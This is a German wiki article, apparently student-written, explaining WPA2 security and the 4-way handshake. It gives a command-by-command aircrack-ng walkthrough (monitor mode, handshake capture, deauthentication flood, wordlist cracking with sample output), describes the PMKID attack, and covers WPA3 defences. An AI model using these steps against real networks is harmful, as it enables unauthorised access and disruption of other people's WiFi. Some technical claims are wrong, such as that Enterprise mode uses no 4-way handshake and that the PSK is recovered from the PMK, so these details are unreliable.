WPA2-Angriff: Difference between revisions
WPA2-Gruppe (talk | contribs) |
WPA2-Gruppe (talk | contribs) |
||
Line 300: | Line 300: | ||
# Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab |
# Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab |
||
# Jede Seite wählt 2 Zufallszahlen ( ''rand'' und ''mask'') und berechnet daraus ein Element ''elem'' und eine Skalenwert ''skal''. ''Rand'' und ''mask'' bilden den private Schlüssel, ''elem'' und ''skal'' den öffentlichen Schlüssel |
# Jede Seite wählt 2 Zufallszahlen ( ''rand'' und ''mask'') und berechnet daraus ein Element ''elem'' und eine Skalenwert ''skal''. ''Rand'' und ''mask'' bilden den private Schlüssel, ''elem'' und ''skal'' den öffentlichen Schlüssel |
||
<pre> |
|||
scal = (rand + mask) mod r |
scal = (rand + mask) mod r |
||
elem = inverse( mask * PWE) |
elem = inverse( mask * PWE) |
||
</pre> |
|||
# Sende ''elem'' und ''skal'' jeweils an die andere Seite. |
# Sende ''elem'' und ''skal'' jeweils an die andere Seite. |
||
# Berechne ein geheimes Element ''K'' aus eigenem ''rand'', sowie aus''skal'' und ''elem'' des anderen. |
# Berechne ein geheimes Element ''K'' aus eigenem ''rand'', sowie aus''skal'' und ''elem'' des anderen. |
Revision as of 17:52, 10 October 2018
WPA2 ("WiFi Protected Access") ist ein Sicherheitsprotokoll zum Schützen drahtloser Heim- und Firmennetzwerke. Dabei wird durch WPA2 der gesamte Netzwerkverkehr, der mit dem Netzwerk verbundenen Geräte, verschlüsselt sowie weitere Vorkehrungen getroffen, sodass Angreifern das Eindringen in das Netzwerk erschwert wird. Der WPA2-Standard ist eine Erweiterung des Vorgängers WPA. Der Nachfolger des WPA2-Standards wird derzeit unter dem Namen WPA3 entwickelt.
Mit dem Entwurf des neuen WPA3-Standards wurden bei der Suche nach weiteren Angriffsmöglichkeiten Sicherheitslücken innerhalb des von WPA/WPA2 verwendeten 4-Way-Handshakes gefunden. [1] Dabei ermöglicht die Sicherheitslücke einen Brute-Force-Angriff auf das WLAN-Passwort des Zielrouters, sodass der Angreifer Internetzugang über den angegriffenen Router erhalten kann.
Geschichte
Auf Grund der Sicherheitsprobleme mit dem WEP-Sicherheitsstandard wurde ein Nachfolger gesucht. Ein nachfolgender Sicherheitsstandard war bereits in Arbeit, jedoch wurde eine Zwischenlösung notwendig. Auf Grund der dringenden Notwendigkeit wurde daher kurzfristig der WPA-Sicherheitsstandard verabschiedet und etabliert. Dieser sollte nur vorübergehend Verwendung finden, um mehr Zeit für Fertigstellung des anderen Sicherheitsstandards zu haben. Mit den Anstrengungen AES in WPA zu integrieren, entstand der aktuelle Sicherheitsstandard WPA2.
WPA2-Grundlagen
WPA2 stellt einen Sicherheitsstandard zur Verschlüsselungen des Netzwerkverkehrs in drahtlosen Netzwerken dar. Als Veschlüsselungsalgorithmus dient dabei der Advanced Encryption Standard (AES). Zudem wird das vom Vorgänger verwendete Temporal Key Integrity Protocol (TKIP) weiterhin unterstützt. Zusätzlich wird das Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) verwendet.
Zwei verschiedene Einsatzmodi werden durch WPA2 unterstützt. Zum einen den Personal Mode (WPA-PSK), welcher einen Pre-Shared Key (PSK) verwendet, im Allgemeinen auch als "WLAN-Passwort" bezeichnet, zum anderen den WPA Enterprise Mode, welcher einen Authentifizierungsserver zur Anmeldung im WLAN-Netzwerk verwendet.
Zur Kommunikation der im Netzwerk vorhandenen Clienten werden paarweise Schlüssel verwendet, d. h. symmetrische Verschlüsselungsverfahren. Dabei wird zwischen Schlüsseln für Unicast-Verbindungen (zwischen zwei Parteien) und Multicast-Verbindungen (zwischen mehreren Parteien) unterschieden. Als Grundlage dient der PMK, aus welchem alle weiteren zur Kommunikation verwendeten Schlüssel abgeleitet.
WPA-Modi
WPA2 unterstütz den WPA Personal Mode und den WPA Enterprise Mode. Beide Modi sind für unterschiedliche Anwendungszwecke ausgelegt. Hierbei ergibt sich eine Sicherheitlücke im WPA Personal Mode, die vermutlich in allen gängigen WLAN-Routern ausgenutzt werden kann.
WPA Personal Mode
Der Personal Mode verwendet zur Athentifizierung einen PSK. Dieser muss vor der Anmeldung eines Clienten am Access Point hinterlegt werden. Anschließend kann eine Verbindung mit dem Netzwerk über den entsprechenden PSK aufgebaut werden.
Dieser Modus ist zur Anwendung in privaten Netzwerken und für kleinere Unternehmen vorgesehen und enthält nicht alle für WPA2 spezifizierten Features. Auf Grund des einmalig etablierten Schlüssels besteht hier jedoch eine Schwachstelle. Diese kann durch Angreifer mit Brute-Force-Angriffen ausgenutzt werden, um das Zugangspasswort (den PSK) zu ermitteln.
WPA Enterprise Mode
Der Enterprise Mode ist zur Verwendung in großen Unternehmen gedacht und entspricht nahezu dem IEEE 802.11i-Standard. Einige Funktionalitäten, wie z. B. das Fast Roaming, fehlen jedoch.
Die Authentifizierung erfolgt im Enterprise Mode über einen gesonderten 802.1x/Radius-Server. Hier können sich Benutzer mit den ihnen zugewiesenen, persönlichen Benutzerdaten gegenüber dem Server authentifizieren. Möchte sich nun ein Client mit einem Access Point (AP) verbinden, wird zuerst nur der Authentifizierungsverkehr durch den AP durchgelassen. Ist die Authentifizierung gegenüber dem Radius-Server erfolgreich gewesen, bestätigt der Radius-Server dem AP die Rechtmäßigkeit der Anmeldung. Daraufhin generiert der AP die Sitzungsschlüssel, welche dem Clienten mitgeteilt werden. Der Client hat nun Netzwerkzugriff. Bei fehlgeschlagener Authentifizierung teilt der Radius-Server dem AP den Fehlschlag mit, wodurch der Zugriff auf das Netzwerk nicht gewährt wird. Der Einsatz dieser Technik ermöglicht es mehrere APs zu betreiben, die während der Nutzung wechseln können, ohne das eine Unterbrechung der Netzwerkverbindung entsteht.
Ein Vorteil des Enterprise Mode ist es, dass kein 4-Way-Handshake durchgeführt wird. Somit ist ein Angriff über die Sicherheitslücke des 4-Way-Handshakes im Enterprise Mode nicht möglich.
Schlüssel
Sowohl für das Etablieren, als auch für die spätere Kommunikation werden verschiedenste Schlüssel verwendet. Dabei handelt es sich um synchrone Verschlüsselungen, d. h. alle Parteien verwenden den gleiche Schlüssel.
Der Pre-Shared Key ist das vom Benutzer festgelegte Passwort, welches sowohl dem Router, als auch dem Clienten mitgeteilt wird. Dabei handelt es sich um ein Shared Secret, dass für den Zugang zum Netzwerk benötigt wird. Dieser wird nur im Personal Mode benötigt.
Pairwise Master Key
Der Pairwise Master Key (PMK) wird über die Password Based Key Derivation Function 2 (PBKDF2) berechnet. Im Personal Mode werden dabei als Argumente der PSK, die ESSID (Netzwerkname) des AP und die Länge der ESSID verwendet. Im Enterprise Mode wird der PMK temporär durch das Protokoll des Authentifizierungsserver gestellt. Der PMK wird zur Ableitung weiterer Schlüssel verwendet.
Pairwise Transient Key
Der Pairwise Transient Key (PTK) ist 512 Bit lang und wird während des 4-Way-Handshakes über eine Pseudozufallsfunktion (PRF) berechnet. Von ihm werden die temporären Schlüssel für die laufende Verschlüsselung der Nachrichten abgeleitet. Dazu wird der PTK in mehrere Teile zerlegt. Darunter auch zwei Schlüssel, die zur Berechnung des Message Integrity Codes (MIC) während des Handshakes verwendet werden. Diese Schlüssel sind jeweils 64 Bit lang und werden als MIC Tx und MIC Rx bezeichnet. Der PTK wird für die Unicast-Kommunikation zwischen genau 2 Clienten verwendet und wird in regelmäßigen Abständen von ca. einer Stunde erneuert.
Groupwise Transient Key
Der Groupewise Transient Key (GTK) wird wie der PTK während des 4-Way-Handshakes berechnet. Im Gegensatz zum PTK wird der GTK für die Multicast-Kommunikation zwischen mehreren Clienten verwendet.
4-Way-Handshake
Der 4-Way-Handshake wird zur Etablierung des gemeinsamen PTKs und des GTKs verwendet, mit denen der Netzwerkverkehr verschlüsselt wird. Die Schlüssel werden dabei vom Pairwise Master Key abgeleitet.
Der 4-Way-Handshake besteht dabei aus vier ausgetauschten Nachrichten zwischen Client und AP. Danach ist die Etablierung der benötigten Schlüssel abgeschlossen. Der Handshake verwendet dazu das Extensible Authentication Protocol over Lan (EAPOL). Im Folgenden werden die einzelnen Schritte des Handshakes erklärt:
- Erste Nachricht: Der AP sendet eine von ihm genrierte Zufallszahl ANonce an den Clienten.
- Der Client generiert ebenfalls eine Zufallszahl SNonce und berechnet den PTK. Dieser wird wie folgt berechnet:
PTK = PRF(PMK + ANonce + SNonce + MAC-Adresse AP + MAC-Adresse Client)
- Zweite Nachricht: Der Client schickt seine SNonce und einen Message Integrity Code über die SNonce MIC(SNonce) an den AP.
- Der AP berechnet nun ebenfalls den PTK und leitet nun daraus die weiteren temporären Schlüssel ab. Diese werden dazu verwendet, die mitgesendete MIC zu überprüfen.
- Dritte Nachricht: Der AP übermittelt nun den GTK sowie den MIC(GTK) an den Clienten. Der GTK wird dabei durch den PMK verschlüsselt.
- Vierte Nachricht: Der Client überträg nun ebenfalls durch den PMK verschlüsselt den MIC(GTK) an den AP zurück. Der AP überprüft nun, ob der erhaltene MIC mit dem von ihm versendeten MIC übereinstimmt. Ist dies der Fall, wurde der GTK nicht manipuliert und die verschlüsselte Übertragung kann beginnen.
Angriff über den 4-Way-Handshake
Mittels des Brute-Force-Angriffs versucht der Angreifer das Zugangs-Passwort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer einen erflogreich durchgeführten 4-Way-Handshake, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird, mitschneiden. Daraufhin erfolgt der Brute-Force-Angriff über den durch den 4-Way-Handshake etablierten PTK und die in der zweiten oder dritten Nachricht übertragene MIC.
Angriff
Der Brute-Force-Angriff auf WPA/WPA2 lässt sich in drei Phasen unterteilen. Hierbei sind die ersten zwei Phasen im Netzwerk auszuführen, die dritte kann offline erfolgen. Im Folgenden werden die einzelnen Phasen des Angriffs erklärt.
- Informationen über den anzugreifenden Access Point sammeln (ESSID, BSSID, Channel).
- Einen erfolgreichen 4-Way-Handshake mitschneiden
- Deauthentifizierungs-Angriff
- Brute-Force-Angriff auf den mitgeschnitten 4-Way-Handshake
Um den Angriff erfolgreich ausführen zu können, muss zuerst der anzugreifende Access Point ausgewählt werden. Dazu muss die Netzwerkkarte des Angreifers in den Monitoring-Modus versetzt werden. Ist dies geschehen, kann der ESSID des Access Points, die BSSID des Access Points so wie der Channel (Funkkanal) ermittelt werden. Wurden die benötigten Informationen gesammelt, kann nun gezielt der Netzwerkverkehr zwischen dem Access Point und anderen Geräten abgehört werden.
Im zweiten Schritt wird mittels der zuvor gesammelten Informationen die Kommunikation des Access Points belauscht. Es muss solange gewartet werden, bis ein neues Gerät erfolgreich in das WLAN-Netzwerk aufgenommen und dadurch der 4-Way-Handshake durchgeführt wird. Dauert es zu lange, bis sich ein neues Gerät mit dem AP verbinden möchte, kann ein Deauthentifizierungs-Angriff durchgeführt werden. Dabei wird über die Netzwerkkarte des Angreifers die Reauthentifizierung aller mit dem anzugreifenden AP verbundenen Geräte erzwungen. Es besteht bei diesem Vorgehen jedoch eine Chance, durch die Benutzer des Netzwerks bemerkt zu werden.
Im dritten Schritt wird der Brute-Force-Angriff durchgeführt. Folgende Informationen sind nun durch den Handshake vorhanden:
- ANonce
- SNonce
- MAC Client
- BSSID
Es fehlt somit nur noch der verwendete PMK. Um diesen zu erhalten, wird ein Brute-Force-Angriff ausgeführt, bei dem der PMK geraten wird. Mit dem geratenen PMK und den bereits vorhandenen Informationen lässt sich nun ein PTK berechnen und die Schlüssel MIC Tx und MIC Rx abgeleitet werden. Anschließend muss die MIC über die SNonce oder den GTK berechnet werden. Stimmt diese mit der mitgeschnittenen MIC des 4-Way-Handshakes überein, wurde der richtige PMK gefunden. Anschließend kann aus dem PMK der PSK zurückberechnet werden. Damit wurde Passwort gefunden und der Angriff ist beendet.
Angriffsarten
Wörterbuchangriff
Für den Wörterbuchangriff wird z.B. eine Passwortliste benötigt. Diese Listen enthalten durch Angriffe aller Art erhaltene Passwörter, welche durch reale Benutzer bei verschiedensten Diensten benutzt werden. Es wird nun jedes Passwort dieser Liste ausprobiert. Ist das Passwort in der Liste enthalten, kann ein effizienter Brute-Force-Angriff durchgeführt werden. Ist das Passwort jedoch nicht in der Liste enthalten, bleibt der Wörterbuchangriff erfolglos. Passwortlisten können online heruntergeladen, eine frei zugängliche ist z.B unter https://github.com/danielmiessler/SecLists/tree/master/Passwords zu finden. Als Alternative dienen auch Wörterbücher oder selbstgenerierte Listen.
Reguläre Ausdrücke
Einige Tools lassen die Verwendung von regulären Ausdrücken für Brute-Force-Angriffe zu. Hierbei muss mittels eines regulären Ausdrucks eine Vermutung über das Passwort angestellt werden, z.B. die Länge, die verwendeten Zeichen etc. Anschließend werden alle möglichen Kombinationen für den regulären Ausdruck berechnet. Dies ist für den Angreifer sehr rechenaufwändig, und kann gerade bei starken Passwörtern sehr lange dauern.
Regelbasierter Angriff
Der regelbasierte Angriff ist eine spezielle Art des Wörterbuchangriffs. Hierbei werden nach bestimmten Regeln Permutationen der in der Liste enthaltenen Passwörter generiert, welche ebenfalls als PMK probiert werden.
Wörterbuchangriff mit AirCrack unter Linux
Folgende Voraussetzungen sind für den Angriff notwendig:
- AirCrack installieren:
$ sudo apt install aircrack-ng
- Die WLAN-Karte muss den Monitor-Modus unterstützen. Dies kann mittels
$ iw list
getestet werden.
Unter dem Punkt "Supported interfaces" sollte der Unterpunkt "monitor" für die zu verwendende Netzwerkkarte aufgeführt sein. Falls die Interface den Modus nicht unterstütz, kann ein WIFI Stick als Ausweich-Interface verwendet werden.
- Es muss eine Passwortliste lokal vorhanden sein.
WICHTIG: Wurde die neueste Version von AirCrack aircrack-zc
installiert, sind die alternativen Kommandos für den Angriff zu verwenden, da ansonsten die Monitoring-Schnittstelle nicht vollständig geöffnet wird. Dies ist besonders relevant, wenn AirCrack auf einem neueren Ubuntu-basierten Betriebssystem verwendet wird.
Vorbereitung
Zuerst muss alles für den Angriff vorbereitet werden. Dazu muss die für den Angriff verwendete Netzwerkkarte in den Monitoring-Modus versetzt werden. Dazu kann wie folgt vorgegangen werden:
1. Ermitteln des Interface-Namens der Netzwerkkarte:
$ iwconfig eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions.
2. WLAN-Karte in den Monitor-Modus versetzen:
$ sudo airmon-ng start wlan0
Alternativ:
$ sudo airmon-zc start wlan0
AirCrack überprüft beim Ausführen des Befehls, ob Prozesse existieren, die das Aktivieren des Monitoring-Modus verhindern. Werden welche gefunden, fragt AirCrack, ob diese abgebrochen werden sollen. Diese Frage kann mit Y
bestätigt werden. Andernfalls kann auch
$ sudo airmon-ng check kill
verwendet werden und anschließend der Startbefehl erneut durchgeführt werden.
3. Überprüfen des Interfaces:
Nun wird die Netzwerkkarte in den Monitoring-Modus versetzt. In diesem Beispiel ändert sich zudem der Interface-Name zu wlan0mon
.
$ iwconfig eth0 no wireless extensions. lo no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off
Durchführung
1. Informationen sammeln
Zuerst müssen die benötigten Informationen über das anzugreifende Netzwerk gesammelt werden. Um eine Übersicht über alle empfangen Netzwerke zu bekommen wird folgender Befehl ausgeführt:
$ sudo airodump-ng wlan0mon CH 4 ][ Elapsed: 6 s ][ 2018-10-08 10:57 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 12:34:56:78:9A:BC -40 2 0 0 11 130 WPA2 CCMP PSK HackMe! 00:00:00:00:00:00 -41 2 0 0 11 130 WPA2 CCMP PSK FRITZ!Box Fon WLAN 11:11:11:11:11:11 -78 1 0 0 6 65 WPA2 CCMP PSK DIRECT-91-HP ENVY 22:22:22:22:22:22 -83 5 0 0 1 130 WPA2 CCMP PSK XT BSSID STATION PWR Rate Lost Frames Probe (not associated) 33:33:33:33:33:33 -90 0 - 1 0 1 GetOff (not associated) 44:44:44:44:44:44 -90 0 - 1 0 2 EasyBox
Alternativ:
$ sudo airodump-zc wlan0mon
Nachdem der anzugreifende Access Point gefunden wurde, kann das Programm mit Strg + C abgebrochen werden. Nun haben wir die ersten notwendigen Informationen über den anzugreifenden Access Point erhalten, in diesem Fall:
- BSSID: 12:34:56:78:9A:BC
- CH: 11
- ESSID: HackMe!
2. Mitschneiden des 4-Way-Handshakes
Nachdem nun alle notwendigen Informationen vorhanden sind, muss ein EAPOL-Frame des 4-Way-Handshakes mitgeschnitten werden. Dieser wird automatisch in einer .cap-Datei gespeichert.
$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon CH 11 ][ Elapsed: 1 min ][ 2018-10-08 11:02 ][ WPA handshake: 36:31:C4:E BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER 12:34:56:78:9A:BC -42 90 235 31 0 11 130 WPA2 CCMP BSSID STATION PWR Rate Lost Frames Prob 12:34:56:78:9A:BC 00:11:22:33:44:55 -48 1e-48e 139 33
Alternativ:
$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon
Wurde ein Handshake aufgenommen, erscheint oben rechts die Anzeige [WPA handshake:
. Ist dies erfolgt, kann das Programm mit Str + C abgebrochen werden.
Wird lange Zeit kein neuer Client mit dem Access Point verbunden, kann eine Deauthentifizierungs-Attacke durchgeführt werden. Durch diese Art von Angriff werden alle bereits verbundenen Clienten dazu gezwungen, sich bei dem Access Point zu neu authentifizieren, was whs. zur Durchführung neuer Handshakes führt. Jedoch kann diese Art von Angriff durch den Benutzer bemerkt werden. Um den Angriff auszuführen, kann folgender Befehl verwendet werden:
$ sudo aireplay-ng --deauth 100 -a 12:34:56:78:9A:BC wlan0mon
3. Brute-Force-Angriff
Die im vorherigen Schritt erzeugte Logdatei-01.cap enthält nun einen EAPOL-Frame des 4-Way-Handshakes mit allen notwendigen Informationen (ESSID, BSSID, MAC Client und PMKID). Mit diesen Informationen kann der Brute-Force-Angriff durchgeführt werden, indem der fehlenden PMK geraten und das Ergebnis der Hashfunktion mit der PMKID verglichen wird. Sind diese identisch, wurde das Passwort gefunden. Die Ausgabe erfolgt in Plaintext.
$ sudo aircrack-ng Logdatei-01.cap -w /Pfad/Zur/Passwortliste.txt [00:00:00] 24/4799 keys tested (597.51 k/s) Time left: 7 seconds 0.58% KEY FOUND! [ 12345678 ] Master Key : CF 82 97 8B 37 2E 39 FE F5 73 95 59 45 A6 AE 01 1A C8 A3 A1 FA 61 3B AF EB 5E 85 E6 3B B7 89 5B Transient Key : 87 12 F7 00 02 E3 5D 1D C0 79 95 09 3E A7 C5 E4 48 3E B8 ED 01 28 A7 8A 2A F2 28 1D 6B 5D DA 71 A0 03 2E E5 4C C3 7A 9F 9F E3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : AF 9C A2 71 13 BD 66 7E BD 02 CE F1 88 27 4B 08
PMKID-Angriff
Der Angriff von 2018 baut, anders als der zuvor besprochene Angriff, nicht auf das Mitschneiden eines vollständigen Handshakes auf. Bereits eine einzelne Nachricht des Handshakes reicht bereits aus, da der AP hierbei direkt angegriffen wird. Es ist folglich nicht notwendig einen Nutzer zu belauschen, während er sich authentifiziert. Der Angriff setzt am Robust Security Network Information Element (RSN IE) an, ein optionales Feld innerhalb des 802.11 Management Frames.
Auch bei diesem Angriff wird mittels eines Brute-Force-Angriffs versucht das Zugangspasswort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer lediglich einen EAPOL-Frame, d. h. eine Nachricht des 4-Way-Handshakes, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird, aufzeichnen. Die Aufzeichnung enthält dabei den Pairwise Master Key Identifier (PMKID), welcher für den Angriff benötigt wird. Die PMKID setzt sich dabei wie folgt zusammen:
PMKID = HMAC-SHA1-128(PMK, ESSID | BSSID | MAC Client)
Durchführung
Der Angreifer versucht sich mit dem AP zu verbinden und erhält somit in der ersten Handshake-Nachricht die mitgesendete PMKID. Da die Parameter
- ESSID
- BSSID
- MAC Client
- PMKID
bereits bekannt sind, fehlt somit nur noch der verwendete PMK. Dieser PMK kann nun durch den Angriff erraten werden, indem mittels des oben vorgestellten Verfahrens zur Berechnung der PMKID versucht wird, eine Hash-Kollision zu finden. Wurde für einen geratenen PMK eine Kollision festgestellt, kann aus dem PMK der PSK zurückgerechnet werden. Damit ist der Angriff beendet und das Zugangspasswort gefunden.
Verbesserungen in WPA3
WPA3 ist der Nachfolger von WPA2. Der Standard wurde Anfang 2018 angekündigt und soll 2019 in den ersten Geräten vorhanden sein. Dabei wurden einige Verbesserungen gegenüber WPA2 gemacht, die auch Brute-Force-Attacken wie den Offline-Wörterbuchangriff verhindern sollen. Dabei wird der WPA2 4-Wege-Handshake beibehalten, zusätzlich aber ein SAE Handshake vorgeschoben. Der SAE Handshake etabliert dabei einen neuen PMK. Bei WPA2 ist der PMK für den 4-Wege-Handshake der zuvor geteilte statische Schlüssel (WLAN-Passwort).
Schritte des SAE Handshakes
Im Folgenden sind die einzelnen Schritte des SAE Handshakes beschrieben. Es wird dabei ein Variation des Diffie-Hellman Handshake ausgeführt, der Authentifizierung erlaubt.
- Beide Seiten leiten aus dem Preshared Key ein Password Element (PWE) ab
- Jede Seite wählt 2 Zufallszahlen ( rand und mask) und berechnet daraus ein Element elem und eine Skalenwert skal. Rand und mask bilden den private Schlüssel, elem und skal den öffentlichen Schlüssel
scal = (rand + mask) mod r elem = inverse( mask * PWE)
- Sende elem und skal jeweils an die andere Seite.
- Berechne ein geheimes Element K aus eigenem rand, sowie ausskal und elem des anderen.
- Berechne aus K einen Intermediate Shared Key k.
- Berechne eine Authentication Confirmation Token aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite. Sende das Token an den Kommunikationspartner.
- Berechne den Shared Key s aus k, eigenem skal und elem sowie dem skal und elem der anderen Seite.
Relevante Verbesserungen in WPA3
Eine wichtige Verbesserung von WPA3 gegenüber WPA2 ist die Tatsache, dass die zuvor gezeigten Angriffe nicht mehr möglich sein sollten.
- Abwehr gegenüber passiven Attacken: Der Angreifer ist nur in der Lage die Werte elem und skal mitzuschneiden. Dadurch bleiben rand und mask unbekannt. Diese beiden Werte zu erraten kommt dem Raten einer Zufallszahl nahe. Der Angreifer kann zwar versuchen Passworte zu erraten, da aber die rand-Werte beider Kommunikationspartner dem Angreifer unbekannt sind, wird das Erraten des Passworts unmöglich.
- Abwehr gegen Wörterbuchangriffen: Um festzustellen ob ein Angriff erfolgreich war, benötigt der Angreifer Feedback durch das angegriffene System. Bei WPA2 hat der Angreifer anhand der 3ten Nachricht des Handshakes die Möglichkeit, seine Vermutung zu überprüfen. Dies ist bei WPA3 nicht möglich, das 3 Werte gleichzeitig (Passwort, und die rand Werte) geraten werden müssten. Somit kann der Angreifer lediglich versuchen sich beim AP mit einem zufälligen geratenen Passwort zu authentifizieren, also einen aktiven Angriff durchzuführen. Da nun jedes mal die Antwort des AP abgewartet werden muss, ist Rechenleistung in diesem Fall nicht von signifikantem Vorteil.
- Schutz bei schwachen Passwörtern: Auch wenn der SAE Handshake resistent gegenüber Wörterbuchangriffen ist, ist die Passwortlänge weiterhin ein Parameter der die Sicherheit beeinflusst. Unabhängig von der Passwortlänge kann der Angreifer das Passwort nur durch wiederholte aktive Angriffe erlangen.
Einzelnachweise
- [Heise, Angriff auf WPA | https://www.heise.de/security/artikel/Angriffe-auf-WPA-270596.html]
- [Security Insider, So knacken Sie WLAN-Verschlüsselungen | https://www.security-insider.de/so-knacken-sie-wlan-verschluesselungen-a-594587/]
- [Netspotapp, WiFi Encryption and Security | https://www.netspotapp.com/de/wifi-encryption-and-security.html]
- [Krackattacks, Key Reinstallation Attacks | https://www.krackattacks.com/]
- [New Attack on WPA/WPA2 | https://hashcat.net/forum/thread-7717.html]
- [Hashcat, Cracking WPA/WPA2 with hashcat | https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2]
- [ceilers-news, WLAN-Sicherheit 9 - Die Schlüssel von WPA2, Teil 1 | https://www.ceilers-news.de/serendipity/908-WLAN-Sicherheit-9-Die-Schluessel-von-WPA2,-Teil-1.html]
- [ceilers-news, WLAN-Sicherheit 8 - Der aktuelle Standard-Verschlüsselungsalgorithmus: WPA2 | https://www.ceilers-news.de/serendipity/906-WLAN-Sicherheit-8-Der-aktuelle-Standard-Verschluesselungsalgorithmus-WPA2.html]
- [Elektronik Kompendium, WPA - WiFi Protected Access | https://www.elektronik-kompendium.de/sites/net/2009011.htm]
- [Elektronik Kompendium, IEEE 802.1x / RADIUS | https://www.elektronik-kompendium.de/sites/net/1409281.htm]
- [Elektronik Kompendium, WPA2 - WiFi Protected Access 2 / IEEE 802.11i | https://www.elektronik-kompendium.de/sites/net/0907111.htm]
- [Searchnetworking, Wi-Fi-Verschlüsselung: Grundlegendes zu WEP, WPA und WPA2 | https://www.searchnetworking.de/sonderbeitrag/Wi-Fi-Verschluesselung-Grundlegendes-zu-WEP-WPA-und-WPA2]
- [ Mathy Vanhoef, WPA3: Technical Details and Discussion | http://www.mathyvanhoef.com/2018/03/wpa3-technical-details.html]
- [D. Harkins, "Simultaneous Authentication of Equals: A Secure, Password-Based Key Exchange for Mesh Networks" | https://www.doi.ieeecomputersociety.org/10.1109/SENSORCOMM.2008.131]
<references/>